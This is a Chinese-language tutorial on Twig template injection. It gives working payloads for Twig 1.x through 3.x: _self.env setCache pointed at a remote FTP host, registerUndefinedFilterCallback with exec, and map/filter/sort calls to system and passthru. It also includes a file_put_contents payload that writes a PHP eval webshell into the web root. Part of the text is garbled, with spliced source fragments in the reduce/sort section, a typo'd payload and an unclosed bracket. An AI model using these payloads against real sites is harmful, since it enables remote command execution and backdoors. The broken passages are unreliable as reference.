Twig模版注入
Twig模版注入
前言
了解python里面的jinjia2模版注入,对这个twig注入的理解就不会太难了,我的理解就是通过模版里面的一些危险函数执行命令发起攻击
0x01
是php的模版语言,类似于python的jinjia2模版。
0x02
如何判断是jinjia2和twig,在注入点测试{{7*'7'}},如果回显了49就是twig,回显7777777就是jinjia2
Twig 1.x
twig 1.x有3个全局变量
_self 是一个特殊的全局变量,它引用了当前模板的实例
_charset 是一个特殊的全局变量,它引用了当前字符集。你可以使用_charset变量来指定输出模板的字符集
_context 引用当前上下文的特殊全局变量
这里的攻击方式主要是用_self全局变量
在1.x版本中可以通过_self全局变量获取当前模版下的实例,例如利用_self获取当前twig/template实例而且还提供了twing_environment的env属性,然后可以继续调用twig_environment下的方法.
0x01
利用 setCache方法改变Twig加载php文件路径,如果开启了allow_url_include
开启的情况下我们可以通过改变路径实现远程文件包含:
setCache的源码
public function setCache($cache)
{
if (is_string($cache)) {
$this->originalCache = $cache;
$this->cache = new Twig_Cache_Filesystem($cache);
} elseif (false === $cache) {
$this->originalCache = $cache;
$this->cache = new Twig_Cache_Null();
} elseif (null === $cache) {
@trigger_error('Using "null" as the cache strategy is deprecated since version 1.23 and will be removed in Twig 2.0.', E_USER_DEPRECATED);
$this->originalCache = false;
$this->cache = new Twig_Cache_Null();
} elseif ($cache instanceof Twig_CacheInterface) {
$this->originalCache = $this->cache = $cache;
} else {
throw new LogicException(sprintf('Cache can only be a string, false, or a Twig_CacheInterface implementation.'));
}
}
大致就是这个方法传递了一个cache参数,它接收字符串,null,false用于保存传递给setCache()方法的原始缓存选项,最终,setCache()
方法会将解析后的缓存选项存储在$cache
属性中,以便其他方法可以使用它。从而改变了Twig的php文件路径。
{{_self.env.setCache(ftp://ip:port)}}{{_self.env.loadTemplate("shell")}}
这个将twig的缓存设置为一个远程ftp地址,导致twig在下载本地缓存模版前,尝试下载制定的ftp地址下的模版
0x02
利用getFilter()
源码
public function getFilter($name)
{
if (!$this->extensionInitialized) {
$this->initExtensions();
}
if (isset($this->filters[$name])) {
return $this->filters[$name];
}
foreach ($this->filters as $pattern => $filter) {
$pattern = str_replace('\\*', '(.*?)', preg_quote($pattern, '#'), $count);
if ($count) {
if (preg_match('#^'.$pattern.'$#', $name, $matches)) {
array_shift($matches);
$filter->setArguments($matches);
return $filter;
}
}
}
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}
发现里面有一个危险函数call_user_func
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
所以我们只需要控制里面的name参数就可以进行命令执行,callback的赋值需要调用
registerUndefinedFilterCallback()方法。
构造exp
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Twig 2.x & 3.x
在2.x以后_self就被停用了,但是又可以用一些过滤器惊醒攻击
0x01
map过滤器
源码
function twig_array_map($array, $arrow)
{
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v, $k);
}
return $r;
}
重点部分在
$r[$k] = $arrow($v, $k); 输入的键和键值被当成函数执行了前提是这个arrow是可控的。
下一步就是找到可以在里面执行命令的函数
system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int
这里我们既可以执行命令也可以写马
exp
{{["ls"]|map("system"}}
{{{"<?php @eval($_POST['attack']);?>":"var/www/html/shell.php"}|map("file_put_contents")}}
0x02
filter过滤器
{% set lists = [34, 36, 38, 40, 42] %}
{{ lists|filter(v => v > 38)|join(', ') }}
// Output: 40, 42
Twig将上述的语言编译成
<?php echo implode(', ', array_filter($context["lists"], function ($__value__) { return ($__value__ > 38); })); ?>
里面有个危险函数array_filter,
/**
* Filters an array or iterator using a callback function.
*
* @param array|\Traversable $array The array or iterator to filter
* @param callable $arrow The callback function to use as a filter
*
* @return array|CallbackFilterIterator The filtered array or iterator
*/
function twig_array_filter($array, $arrow)
{
if (\is_array($array)) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);
}
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
array_filter函数接受arrow两个参数并且调用了回调函数,那么我们就可以自定义这两个参数进行攻击
array_filter(array,callbackfunction);
参数 | 描述 |
---|---|
array | 必须,规定要过滤的字符组 |
callbackfunction | 必须,规定要使用的回调函数 |
exp
{{["id"]|filer("system")}}
{{["id"]|filter("passthru")}}
0x03
reduce过滤器
{% set numbers = [1, 2, 3] %}
{{ numbers|reduce((carry, v) => carry + v) }}
twig翻译成
<?php
echo twig_reduce_filter($this->env, $context["numbers"], function ($carry, $v) { return $carry + $v; });
?>
twig_reduce_filter
function twig_reduce_filter($array, $arrow, $initial = null)
{
if (!\is_array($array)) {
$array = iterator_to_array($array);
}
return array_reduce($array, $arrow, $initial);
}
context["fruit"]) { // column()过滤器将返回值为name的fruit['name']并输出 echo twig_escape_filter(this->env, context["fruit"], "name", [], "array", false, false, true, 13), "html", null, true);}
twig_get_attribute源码
{ if (array instanceof \Traversable) {array = iterator_to_array(array); } elseif (!\is_array(array)) { throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array))); }
if (null !== $arrow) {
uasort($array, $arrow);
} else {
asort($array);
}
return $array;
} ```
代码的危险在
if (null !== $arrow) {
uasort($array, $arrow);
uasort函数使用用户自定义的比较函数对元素按键值进行排序arrow这两个变量了同时可以使用用户自定义的比较函数对数组中的元素按键值进行排序,我们就可以传入包含函数参数的列表,进行命令执行了。
exp
{{["id", 0]|sort("system")}}
end......
不知道什么原因自己在本地搭的无法读取恶意命令。。。